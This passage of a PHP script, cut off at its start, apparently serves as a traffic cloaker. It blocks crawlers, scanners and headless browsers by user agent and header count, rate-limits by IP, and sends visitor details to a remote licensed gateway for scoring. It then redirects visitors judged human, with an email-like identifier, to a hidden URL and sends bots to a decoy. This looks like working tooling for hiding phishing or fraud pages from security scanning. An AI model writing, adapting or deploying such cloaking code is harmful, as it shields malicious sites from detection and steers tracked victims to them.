256) return '';
if (!preg_match('#^[A-Za-z0-9+/=_\-.@%]+$#', $v)) return '';
return $v;
}
$IDENT = sanitize_id(grab_identifier());
$ua = trim($_SERVER['HTTP_USER_AGENT'] ?? '');
if (empty($ua)) { redirect_bot(); }
$bad = ['python-requests','python/','Go-http-client','curl/','wget/','libwww-perl',
'HeadlessChrome','PhantomJS','Selenium','puppeteer','playwright',
'scrapy','bot','spider','crawl','slurp','bingbot','googlebot'];
foreach ($bad as $b) { if (stripos($ua,$b)!==false){ redirect_bot(); } }
if (count(getallheaders()) < 5) { redirect_bot(); }
function rl(string $ip): bool {
$d=sys_get_temp_dir().'/lgw/'; if(!is_dir($d))@mkdir($d,0700,true);
$f=$d.md5($ip).'.json'; $now=time(); $w=60; $max=10;
$hits=array_filter((array)(file_exists($f)?json_decode(@file_get_contents($f),true):[]),function($t) use ($now,$w){ return $t>$now-$w; });
if(count($hits)>=$max)return false;
$hits[]=$now; @file_put_contents($f,json_encode(array_values($hits)),LOCK_EX); return true;
}
function cip(): string {
foreach(['HTTP_CF_CONNECTING_IP','HTTP_X_FORWARDED_FOR','HTTP_X_REAL_IP','REMOTE_ADDR'] as $k) {
if(!empty($_SERVER[$k])){$ip=trim(explode(',',$_SERVER[$k])[0]);if(filter_var($ip,FILTER_VALIDATE_IP))return $ip;}
}
return '0.0.0.0';
}
function redirect_human(string $url, string $ident) {
if ($ident === '') { header('Location: '.$url, true, 302); exit; }
$sep = (strpos($url, '#') === false) ? '#' : '';
header('Content-Type: text/html; charset=utf-8');
echo '';
exit;
}
function redirect_bot() {
global $BOT_URL;
header('Location: '.$BOT_URL, true, 302); exit;
}
$ip = cip();
if (!rl($ip)) { redirect_bot(); }
$headers = [
'X-License-Id: '.$LICENSE_ID,'X-Real-IP: '.$ip,'User-Agent: '.$ua,
'X-Accept-Language: '.($_SERVER['HTTP_ACCEPT_LANGUAGE']??''),
'X-Accept: '.($_SERVER['HTTP_ACCEPT']??''),
'X-Sec-CH-UA: '.($_SERVER['HTTP_SEC_CH_UA']??''),
'X-Header-Count: '.count(getallheaders()),
];
if(!empty($LICENSE_KEY)){
$sig=hash_hmac('sha256',time().'|'.$ip.'|'.$LICENSE_ID,$LICENSE_KEY);
$headers[]='X-License-Key: '.$LICENSE_KEY;
$headers[]='X-Request-Sig: '.$sig;
}
$raw=false; $http=0;
if (function_exists('curl_init')) {
$ch=curl_init();
curl_setopt_array($ch,[CURLOPT_URL=>$GATEWAY_URL,CURLOPT_RETURNTRANSFER=>true,
CURLOPT_HTTPHEADER=>$headers,CURLOPT_TIMEOUT=>5,CURLOPT_CONNECTTIMEOUT=>3,
CURLOPT_SSL_VERIFYPEER=>true,CURLOPT_FOLLOWLOCATION=>false]);
$raw=curl_exec($ch);$http=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);curl_close($ch);
} elseif (ini_get('allow_url_fopen')) {
// Fallback for hosts without the curl extension.
$ctx=stream_context_create(['http'=>['method'=>'GET','header'=>implode("\r\n",$headers),'timeout'=>5,'ignore_errors'=>true],'ssl'=>['verify_peer'=>true,'verify_peer_name'=>true]]);
$raw=@file_get_contents($GATEWAY_URL,false,$ctx);
$http=($raw!==false)?200:0;
}
if(!$raw||$http!==200){ redirect_bot(); }
$d=json_decode($raw,true);
if(!is_array($d)){ redirect_bot(); }
$dec=strtoupper($d['decision']??'BLOCK');
$sc=$d['score']??null;
$ok=in_array($dec,['ALLOW','HUMAN'],true)&&($sc===null||(int)$sc>=$MIN_SCORE);
if($DEBUG){header('Content-Type:text/plain');echo"Decision:{$dec}\nScore:{$sc}\nIP:{$ip}\nIdent:{$IDENT}\n".$raw;exit;}
usleep(random_int(3000,15000));
if ($ok) { redirect_human($HUMAN_URL, $IDENT); }
redirect_bot();
?>